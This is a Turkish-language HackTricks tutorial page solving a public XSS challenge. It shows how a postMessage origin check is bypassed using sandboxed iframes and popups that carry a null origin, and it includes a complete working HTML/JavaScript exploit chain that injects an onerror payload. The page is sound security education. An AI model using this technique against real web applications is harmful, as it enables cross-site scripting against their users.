hacktricks/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md
2024-02-10 18:14:16 +00:00

92 lines
6 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Iframe'lerle SOP Geçme - 1
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>ile öğrenin!</strong></summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT koleksiyonumuzu**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
</details>
## SOP-1'de Iframe'ler
[**NDevTK**](https://github.com/NDevTK) ve [**Terjanq**](https://github.com/terjanq) tarafından oluşturulan bu [**zorlukta**](https://github.com/terjanq/same-origin-xss) kodlanmış bir XSS'i sömürmeniz gerekmektedir.
```javascript
const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
}
```
Ana sorun, [**ana sayfa**](https://so-xss.terjanq.me)'nın `data.body`'yi göndermek için DomPurify kullandığıdır, bu yüzden kendi html verilerinizi o koda göndermek için `e.origin !== window.origin`'ı **atlamalısınız**.
Önerdikleri çözümü görelim.
### SOP atlatma 1 (e.origin === null)
`//example.org` bir **sandboxed iframe** içine yerleştirildiğinde, sayfanın **kökeni** **`null`** olacaktır, yani **`window.origin === null`** olur. Bu yüzden `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` ile iframe yerleştirerek **`null` kökenini** zorlayabiliriz.
Eğer sayfa **yerleştirilebilir** olsaydı, bu korumayı bu şekilde atlayabilirdiniz (çerezlerin de `SameSite=None` olarak ayarlanması gerekebilir).
### SOP atlatma 2 (window.origin === null)
Daha az bilinen bir gerçek, **sandbox değeri `allow-popups` ayarlandığında**, **açılan popup**'ın tüm **sandbox özelliklerini miras alacağıdır**, ancak `allow-popups-to-escape-sandbox` ayarlanmamışsa.\
Bu nedenle, **null kökenli** bir sayfadan **popup** açmak, popup içindeki **`window.origin`**'in de **`null`** olmasını sağlar.
### Sorunun Çözümü
Bu nedenle, bu sorun için, **bir iframe oluşturabilir**, **zayıf XSS kodu işleyicisi** (`/iframe.php`) olan bir sayfayı **popup** olarak açabilirsiniz, çünkü hem `window.origin === e.origin` hem de ikisi de `null` olduğu için XSS'yi istismar edecek bir **payload gönderebilirsiniz**.
Bu **payload**, **tanımlayıcıyı** alacak ve bir **XSS**'yi **üst sayfaya** (popup'ı açan sayfa) **geri gönderecek**, **ki** bu da **zayıf** `/iframe.php`'ye **konum değiştirecektir**. Tanımlayıcı bilindiği için, `window.origin === e.origin` koşulu sağlanmasa da (hatırlayın, köken, **`null`** olan iframe'den gelen popup'tır) `data.identifier === identifier` olacaktır. Ardından, **XSS tekrar tetiklenecektir**, bu sefer doğru kökende.
```html
<body>
<script>
f = document.createElement('iframe');
// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';
// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');
// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
</body>
```
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
* Bir **cybersecurity şirketinde çalışıyor musunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
</details>